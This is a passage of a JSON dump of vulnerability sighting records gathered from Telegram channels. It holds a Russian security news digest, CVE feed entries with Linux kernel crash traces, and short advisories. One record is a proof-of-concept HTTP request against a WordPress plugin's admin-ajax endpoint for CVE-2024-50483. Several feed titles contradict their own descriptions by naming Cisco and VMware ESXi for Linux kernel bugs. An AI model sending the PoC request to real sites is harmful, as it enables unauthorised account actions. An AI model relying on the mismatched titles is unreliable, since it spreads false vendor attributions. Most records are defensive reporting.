\u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 Littlelamb.Wooltea. \u041e\u0447\u0435\u043d\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043d\u0451\u043c \u0445\u043e\u0440\u043e\u0448\u043e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442, \u043a\u0430\u043a \u043e\u043f\u044b\u0442\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\ud83d\udfe3\u0421\u043f\u0438\u0441\u043e\u043a \u0438\u0437 2,5 \u0442\u044b\u0441\u044f\u0447 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 Astrill VPN, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0447\u0435\u043d\u044c \u043b\u044e\u0431\u044f\u0442 \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438\u0435 APT.\n\n\u2764\ufe0f\u041e\u0431\u0437\u043e\u0440 \u0444\u0438\u0448\u0438\u043d\u0433-\u043a\u0438\u0442\u0430 WikiKit, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0433\u043e \u0441\u0432\u043e\u0451 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0437\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043f\u0435\u0440\u0435\u0430\u0434\u0440\u0435\u0441\u0443\u0435\u0442 \u043d\u0435\u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0436\u0435\u0440\u0442\u0432 \u043d\u0430 \u0412\u0438\u043a\u0438\u043f\u0435\u0434\u0438\u044e.\n\n\ud83d\ude35\u200d\ud83d\udcab \u041f\u044f\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 Chrome, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0442 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Cyberhaven, \u0431\u044b\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u043c\u0430\u0433\u0430\u0437\u0438\u043d Chrome. \u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u043f\u043e\u0432\u043e\u0434 \u043f\u043e\u0434\u0447\u0438\u043d\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 \u0432 \u0425\u0440\u043e\u043c \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c.\n\n\ud83d\udfe2\u041d\u043e\u0432\u044b\u0439 \u0434\u0435\u043d\u044c \u2014 \u043d\u043e\u0432\u043e\u0435 \u0412\u041f\u041e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 open source. \u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0435\u0440\u0435\u0437 PyPi \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0441\u0442\u0438\u043b\u0435\u0440\u044b Cometlogger \u0438 Zebo.\n\n\ud83d\udfe3\u0410 Lockbit \u0441\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c \u043e\u0442\u043f\u0440\u0430\u0437\u0434\u043d\u043e\u0432\u0430\u0442\u044c \u0433\u043e\u0434\u043e\u0432\u0449\u0438\u043d\u0443 \u0440\u0430\u0437\u0433\u043e\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u044b \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044f\u043c\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c Lockbit 4.0.\n\n\ud83d\ude35 \u0426\u0435\u043b\u0430\u044f \u043f\u0430\u0447\u043a\u0430 \u0441\u0440\u043e\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0418\u0422-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043e\u043c\u0440\u0430\u0447\u0438\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0430\u043c \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u0447\u043d\u044b\u0439 \u0441\u0435\u0437\u043e\u043d. \u041e\u0442\u043c\u0435\u0442\u0438\u043c CVE-2024-52046 \u0432 Apache MINA (CVSS 10), CVE-2024-45387 \u0432 Apache Traffic Ops (CVSS 9.9) \u0438 \u043c\u0435\u043d\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u0443\u044e CVE-2024-43441 \u0432 OpenGraph. \u0410 \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0435\u0434\u0432\u0430 \u0432\u044b\u0434\u043e\u0445\u043d\u0443\u043b, \u0437\u0430\u043b\u0430\u0442\u0430\u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e CVE-2024-50379 \u0432 Apache Tomcat, \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u2014 \u0444\u0438\u043a\u0441 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0439\u0442\u0435 CVE-2024-56337 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0439\u0442\u0435 \u0441\u043d\u0430\u0447\u0430\u043b\u0430. \u0414\u0430, \u0438 CVE-2024-53677 \u0432 Struts \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435.\n\u0421\u043d\u043e\u0432\u0430 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u0438 Palo Alto \u0441 DoS \u0432 PAN-OS (CVE-2024-3393, CVSS 8.7).\n\n\ud83d\udc4b \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u0438\u0432\u043e \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435: \u043a\u0430\u043a \u043b\u044e\u0431\u0438\u043c\u0430\u044f \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u0430\u043c\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0441\u0430\u0434\u0430 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #APT #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 @\u041f2\u0422", "creation_timestamp": "2024-12-28T08:57:19.000000Z"}, {"uuid": "071b232b-6083-4c0a-9429-467f82a2bdb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50085", "type": "seen", "source": "https://t.me/cvedetector/9227", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50085 - Cisco MPTCP Subflow Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50085 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmptcp: pm: fix UaF read in mptcp_pm_nl_rm_addr_or_subflow  \n  \nSyzkaller reported this splat:  \n  \n  ==================================================================  \n  BUG: KASAN: slab-use-after-free in mptcp_pm_nl_rm_addr_or_subflow+0xb44/0xcc0 net/mptcp/pm_netlink.c:881  \n  Read of size 4 at addr ffff8880569ac858 by task syz.1.2799/14662  \n  \n  CPU: 0 UID: 0 PID: 14662 Comm: syz.1.2799 Not tainted 6.12.0-rc2-syzkaller-00307-g36c254515dc6 #0  \n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014  \n  Call Trace:  \n     \n   __dump_stack lib/dump_stack.c:94 [inline]  \n   dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120  \n   print_address_description mm/kasan/report.c:377 [inline]  \n   print_report+0xc3/0x620 mm/kasan/report.c:488  \n   kasan_report+0xd9/0x110 mm/kasan/report.c:601  \n   mptcp_pm_nl_rm_addr_or_subflow+0xb44/0xcc0 net/mptcp/pm_netlink.c:881  \n   mptcp_pm_nl_rm_subflow_received net/mptcp/pm_netlink.c:914 [inline]  \n   mptcp_nl_remove_id_zero_address+0x305/0x4a0 net/mptcp/pm_netlink.c:1572  \n   mptcp_pm_nl_del_addr_doit+0x5c9/0x770 net/mptcp/pm_netlink.c:1603  \n   genl_family_rcv_msg_doit+0x202/0x2f0 net/netlink/genetlink.c:1115  \n   genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]  \n   genl_rcv_msg+0x565/0x800 net/netlink/genetlink.c:1210  \n   netlink_rcv_skb+0x165/0x410 net/netlink/af_netlink.c:2551  \n   genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219  \n   netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline]  \n   netlink_unicast+0x53c/0x7f0 net/netlink/af_netlink.c:1357  \n   netlink_sendmsg+0x8b8/0xd70 net/netlink/af_netlink.c:1901  \n   sock_sendmsg_nosec net/socket.c:729 [inline]  \n   __sock_sendmsg net/socket.c:744 [inline]  \n   ____sys_sendmsg+0x9ae/0xb40 net/socket.c:2607  \n   ___sys_sendmsg+0x135/0x1e0 net/socket.c:2661  \n   __sys_sendmsg+0x117/0x1f0 net/socket.c:2690  \n   do_syscall_32_irqs_on arch/x86/entry/common.c:165 [inline]  \n   __do_fast_syscall_32+0x73/0x120 arch/x86/entry/common.c:386  \n   do_fast_syscall_32+0x32/0x80 arch/x86/entry/common.c:411  \n   entry_SYSENTER_compat_after_hwframe+0x84/0x8e  \n  RIP: 0023:0xf7fe4579  \n  Code: b8 01 10 06 03 74 b4 01 10 07 03 74 b0 01 10 08 03 74 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 51 52 55 89 e5 0f 34 cd 80 <5d5a 59 c3 90 90 90 90 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00  \n  RSP: 002b:00000000f574556c EFLAGS: 00000296 ORIG_RAX: 0000000000000172  \n  RAX: ffffffffffffffda RBX: 000000000000000b RCX: 0000000020000140  \n  RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000  \n  RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000  \n  R10: 0000000000000000 R11: 0000000000000296 R12: 0000000000000000  \n  R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000  \n     \n  \n  Allocated by task 5387:  \n   kasan_save_stack+0x33/0x60 mm/kasan/common.c:47  \n   kasan_save_track+0x14/0x30 mm/kasan/common.c:68  \n   poison_kmalloc_redzone mm/kasan/common.c:377 [inline]  \n   __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:394  \n   kmalloc_noprof include/linux/slab.h:878 [inline]  \n   kzalloc_noprof include/linux/slab.h:1014 [inline]  \n   subflow_create_ctx+0x87/0x2a0 net/mptcp/subflow.c:1803  \n   subflow_ulp_init+0xc3/0x4d0 net/mptcp/subflow.c:1956  \n   __tcp_set_ulp net/ipv4/tcp_ulp.c:146 [inline]  \n   tcp_set_ulp+0x326/0x7f0 net/ipv4/tcp_ulp.c:167  \n   mptcp_subflow_create_socket+0x4ae/0x10a0 net/mptcp/subflow.c:1764  \n   __mptcp_subflow_connect+0x3cc/0x1490 net/mptcp/subflow.c:1592  \n   mptcp_pm_create_subflow_or_signal_addr+0xbda/0x23a0 net/mptcp/pm_netlink.c:642  \n   mptcp_pm_nl_fully_established net/mptcp/pm_netlink.c:650 [inline]  \n   mptcp_pm_nl_work+0x3a1/0x4f0 net/mptcp/pm_netlink.c:943  \n   mptcp_worker+0x15a/0x1240 net/mptcp[...]", "creation_timestamp": "2024-10-29T03:03:03.000000Z"}, {"uuid": "ecc1d480-085b-4cae-aae2-f3120ca0e7b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50083", "type": "seen", "source": "https://t.me/cvedetector/9221", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50083 - VMware ESXi MTCP Edge Subflow Option Handling Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-50083 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ntcp: fix mptcp DSS corruption due to large pmtu xmit  \n  \nSyzkaller was able to trigger a DSS corruption:  \n  \n  TCP: request_sock_subflow_v4: Possible SYN flooding on port [::]:20002. Sending cookies.  \n  ------------[ cut here ]------------  \n  WARNING: CPU: 0 PID: 5227 at net/mptcp/protocol.c:695 __mptcp_move_skbs_from_subflow+0x20a9/0x21f0 net/mptcp/protocol.c:695  \n  Modules linked in:  \n  CPU: 0 UID: 0 PID: 5227 Comm: syz-executor350 Not tainted 6.11.0-syzkaller-08829-gaf9c191ac2a0 #0  \n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024  \n  RIP: 0010:__mptcp_move_skbs_from_subflow+0x20a9/0x21f0 net/mptcp/protocol.c:695  \n  Code: 0f b6 dc 31 ff 89 de e8 b5 dd ea f5 89 d8 48 81 c4 50 01 00 00 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc e8 98 da ea f5 90 <0f0b 90 e9 47 ff ff ff e8 8a da ea f5 90 0f 0b 90 e9 99 e0 ff ff  \n  RSP: 0018:ffffc90000006db8 EFLAGS: 00010246  \n  RAX: ffffffff8ba9df18 RBX: 00000000000055f0 RCX: ffff888030023c00  \n  RDX: 0000000000000100 RSI: 00000000000081e5 RDI: 00000000000055f0  \n  RBP: 1ffff110062bf1ae R08: ffffffff8ba9cf12 R09: 1ffff110062bf1b8  \n  R10: dffffc0000000000 R11: ffffed10062bf1b9 R12: 0000000000000000  \n  R13: dffffc0000000000 R14: 00000000700cec61 R15: 00000000000081e5  \n  FS:  000055556679c380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000  \n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \n  CR2: 0000000020287000 CR3: 0000000077892000 CR4: 00000000003506f0  \n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000  \n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400  \n  Call Trace:  \n     \n   move_skbs_to_msk net/mptcp/protocol.c:811 [inline]  \n   mptcp_data_ready+0x29c/0xa90 net/mptcp/protocol.c:854  \n   subflow_data_ready+0x34a/0x920 net/mptcp/subflow.c:1490  \n   tcp_data_queue+0x20fd/0x76c0 net/ipv4/tcp_input.c:5283  \n   tcp_rcv_established+0xfba/0x2020 net/ipv4/tcp_input.c:6237  \n   tcp_v4_do_rcv+0x96d/0xc70 net/ipv4/tcp_ipv4.c:1915  \n   tcp_v4_rcv+0x2dc0/0x37f0 net/ipv4/tcp_ipv4.c:2350  \n   ip_protocol_deliver_rcu+0x22e/0x440 net/ipv4/ip_input.c:205  \n   ip_local_deliver_finish+0x341/0x5f0 net/ipv4/ip_input.c:233  \n   NF_HOOK+0x3a4/0x450 include/linux/netfilter.h:314  \n   NF_HOOK+0x3a4/0x450 include/linux/netfilter.h:314  \n   __netif_receive_skb_one_core net/core/dev.c:5662 [inline]  \n   __netif_receive_skb+0x2bf/0x650 net/core/dev.c:5775  \n   process_backlog+0x662/0x15b0 net/core/dev.c:6107  \n   __napi_poll+0xcb/0x490 net/core/dev.c:6771  \n   napi_poll net/core/dev.c:6840 [inline]  \n   net_rx_action+0x89b/0x1240 net/core/dev.c:6962  \n   handle_softirqs+0x2c5/0x980 kernel/softirq.c:554  \n   do_softirq+0x11b/0x1e0 kernel/softirq.c:455  \n     \n     \n   __local_bh_enable_ip+0x1bb/0x200 kernel/softirq.c:382  \n   local_bh_enable include/linux/bottom_half.h:33 [inline]  \n   rcu_read_unlock_bh include/linux/rcupdate.h:919 [inline]  \n   __dev_queue_xmit+0x1764/0x3e80 net/core/dev.c:4451  \n   dev_queue_xmit include/linux/netdevice.h:3094 [inline]  \n   neigh_hh_output include/net/neighbour.h:526 [inline]  \n   neigh_output include/net/neighbour.h:540 [inline]  \n   ip_finish_output2+0xd41/0x1390 net/ipv4/ip_output.c:236  \n   ip_local_out net/ipv4/ip_output.c:130 [inline]  \n   __ip_queue_xmit+0x118c/0x1b80 net/ipv4/ip_output.c:536  \n   __tcp_transmit_skb+0x2544/0x3b30 net/ipv4/tcp_output.c:1466  \n   tcp_transmit_skb net/ipv4/tcp_output.c:1484 [inline]  \n   tcp_mtu_probe net/ipv4/tcp_output.c:2547 [inline]  \n   tcp_write_xmit+0x641d/0x6bf0 net/ipv4/tcp_output.c:2752  \n   __tcp_push_pending_frames+0x9b/0x360 net/ipv4/tcp_output.c:3015  \n   tcp_push_pending_frames include/net/tcp.h:2107 [inline]  \n   tcp_data_snd_check net/ipv4/tcp_input.c:5714 [inline]  \n   tc[...]", "creation_timestamp": "2024-10-29T03:02:54.000000Z"}, {"uuid": "2f99cc8c-e164-49db-bb8d-316afe9caeee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50386", "type": "seen", "source": "https://t.me/CyberBulletin/1443", "content": "\u26a1\ufe0fApache CloudStack Releases Security Update for KVM Infrastructure Vulnerability \u2013 CVE-2024-50386.\n\n#CyberBulletin", "creation_timestamp": "2024-11-13T07:54:11.000000Z"}, {"uuid": "06bbe001-47cf-4c3d-820e-e05397ae5828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50960", "type": "seen", "source": "https://t.me/cvedetector/22990", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50960 - Extron Nmap Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50960 \nPublished : April 15, 2025, 6:15 p.m. | 1\u00a0hour, 3\u00a0minutes ago \nDescription : A command injection vulnerability in the Nmap diagnostic tool in the admin web console of Extron SMP 111 <=3.01,<=2.16,<=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-15T21:37:51.000000Z"}, {"uuid": "6e7de90e-5f8f-40d3-9b61-0367ce34c66c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "published-proof-of-concept", "source": "https://t.me/haj3imad/20589", "content": "CVE-2024-50483\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: kubernetes.docker.internal\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 149\n\naction=meetup_fb_register&email=admin@admin.com&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/\n\n#exploit #poc", "creation_timestamp": "2024-11-11T17:23:52.000000Z"}, {"uuid": "5ea90cde-e24d-4d8a-8304-6f8a4fe314fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50565", "type": "seen", "source": "https://t.me/cvedetector/22469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50565 - Fortinet FortiOS, FortiProxy, FortiManager, FortiAnalyzer, FortiVoice, FortiWeb Impersonation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50565 \nPublished : April 8, 2025, 2:15 p.m. | 1\u00a0hour, 12\u00a0minutes ago \nDescription : A improper restriction of communication channel to intended endpoints vulnerability [CWE-923] in Fortinet FortiOS version 7.4.0 through 7.4.3, 7.2.0 through 7.2.7, 7.0.0 through 7.0.14, 6.4.0 through 6.4.15 and 6.2.0 through 6.2.16, Fortinet FortiProxy version 7.4.0 through 7.4.2, 7.2.0 through 7.2.9, 7.0.0 through 7.0.15 and 2.0.0 through 2.0.14, Fortinet FortiManager version 7.4.0 through 7.4.2, 7.2.0 through 7.2.4, 7.0.0 through 7.0.11, 6.4.0 through 6.4.14 and 6.2.0 through 6.2.13, Fortinet FortiAnalyzer version 7.4.0 through 7.4.2, 7.2.0 through 7.2.4, 7.0.0 through 7.0.11, 6.4.0 through 6.4.14 and 6.2.0 through 6.2.13, Fortinet FortiVoice version 7.0.0 through 7.0.2, 6.4.0 through 6.4.8 and 6.0.0 through 6.0.12 and Fortinet FortiWeb version 7.4.0 through 7.4.2, 7.2.0 through 7.2.10, 7.0.0 through 7.0.10 allows an unauthenticated attacker in a man-in-the-middle position to impersonate the management device (FortiCloud server or/and in certain conditions, FortiManager), via intercepting the FGFM authentication request between the management device and the managed device \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-08T18:11:06.000000Z"}, {"uuid": "f5556957-5653-4cd3-8b3a-62ae897b43c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50807", "type": "seen", "source": "https://t.me/cvedetector/14972", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50807 - Trippo Responsive Filemanager XSSE\", \n  \"Content\": \"CVE ID : CVE-2024-50807 \nPublished : Jan. 10, 2025, 4:15 p.m. | 38\u00a0minutes ago \nDescription : Trippo Responsive Filemanager 9.14.0 is vulnerable to Cross Site Scripting (XSS) via file upload using the svg and pdf extensions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T18:00:56.000000Z"}, {"uuid": "5004e54e-7254-4862-8e22-75d162c9f4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50595", "type": "seen", "source": "https://t.me/cvedetector/21893", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50595 - STMicroelectronics X-CUBE-AZRTOS-WL HTTP Server Integer Underflow Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50595 \nPublished : April 2, 2025, 2:15 p.m. | 2\u00a0hours, 13\u00a0minutes ago \nDescription : An integer underflow vulnerability exists in the HTTP server PUT request functionality of STMicroelectronics X-CUBE-AZRTOS-WL 2.0.0. A specially crafted series of network requests can lead to denial of service. An attacker can send a sequence of malicious packets to trigger this vulnerability.This vulnerability affects the NetX Duo Component HTTP Server implementation which can be found in x-cube-azrtos-f7\\Middlewares\\ST\\netxduo\\addons\\http\\nxd_http_server.c \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T19:10:14.000000Z"}, {"uuid": "bcb2b31f-a506-4976-ba7b-49ce8d7161c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50594", "type": "seen", "source": "https://t.me/cvedetector/21892", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50594 - STMicroelectronics X-CUBE-AZRTOS-WL HTTP Server Integer Underflow Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50594 \nPublished : April 2, 2025, 2:15 p.m. | 2\u00a0hours, 13\u00a0minutes ago \nDescription : An integer underflow vulnerability exists in the HTTP server PUT request functionality of STMicroelectronics X-CUBE-AZRTOS-WL 2.0.0. A specially crafted series of network requests can lead to denial of service. An attacker can send a sequence of malicious packets to trigger this vulnerability.This vulnerability affects the NetX Duo Web Component HTTP Server implementation which can be found in x-cube-azrtos-f7\\Middlewares\\ST\\netxduo\\addons\\web\\nx_web_http_server.c \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T19:10:13.000000Z"}, {"uuid": "e58cf8f9-e6c5-4b7c-9036-d6a864c292ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50385", "type": "seen", "source": "https://t.me/cvedetector/21891", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50385 - STMicroelectronics X-CUBE-AZRTOS-WL NetX Component HTTP Server Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50385 \nPublished : April 2, 2025, 2:15 p.m. | 2\u00a0hours, 13\u00a0minutes ago \nDescription : A denial of service vulnerability exists in the NetX Component HTTP server functionality of STMicroelectronics X-CUBE-AZRTOS-WL 2.0.0. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.This vulnerability affects X-CUBE-AZRTOS-F7 NetX Duo Component HTTP Server HTTP server v 1.1.0. This HTTP server implementation is contained in this file - x-cube-azrtos-f7\\Middlewares\\ST\\netxduo\\addons\\http\\nxd_http_server.c \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T19:10:12.000000Z"}, {"uuid": "0269ebeb-e42d-48fa-9e6b-6d85cd4deab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50384", "type": "seen", "source": "https://t.me/cvedetector/21890", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50384 - STMicroelectronics X-CUBE-AZRTOS-WL NetX Component HTTP Server Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50384 \nPublished : April 2, 2025, 2:15 p.m. | 2\u00a0hours, 13\u00a0minutes ago \nDescription : A denial of service 